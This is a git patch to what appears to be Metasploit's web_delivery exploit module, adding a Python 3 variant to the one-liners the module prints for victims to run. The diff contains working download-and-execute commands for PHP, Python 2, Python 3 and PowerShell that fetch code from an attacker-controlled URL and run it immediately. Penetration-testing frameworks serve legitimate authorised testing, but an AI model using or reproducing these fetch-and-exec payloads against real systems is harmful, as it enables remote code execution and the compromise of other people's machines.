From e51063aa569d97e2147689177a46b94e5e4bb1d9 Mon Sep 17 00:00:00 2001 From: Swiftb0y Date: Mon, 20 Mar 2017 16:08:08 +0100 Subject: [PATCH] added the python3 syntax to the web_delivery script --- modules/exploits/multi/script/web_delivery.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index a68504c4ec..f5031d8576 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -86,7 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote when 'PHP' print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") when 'Python' + print_line("python 2:") print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + print_line("Python 3:") + print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"") when 'PSH' ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)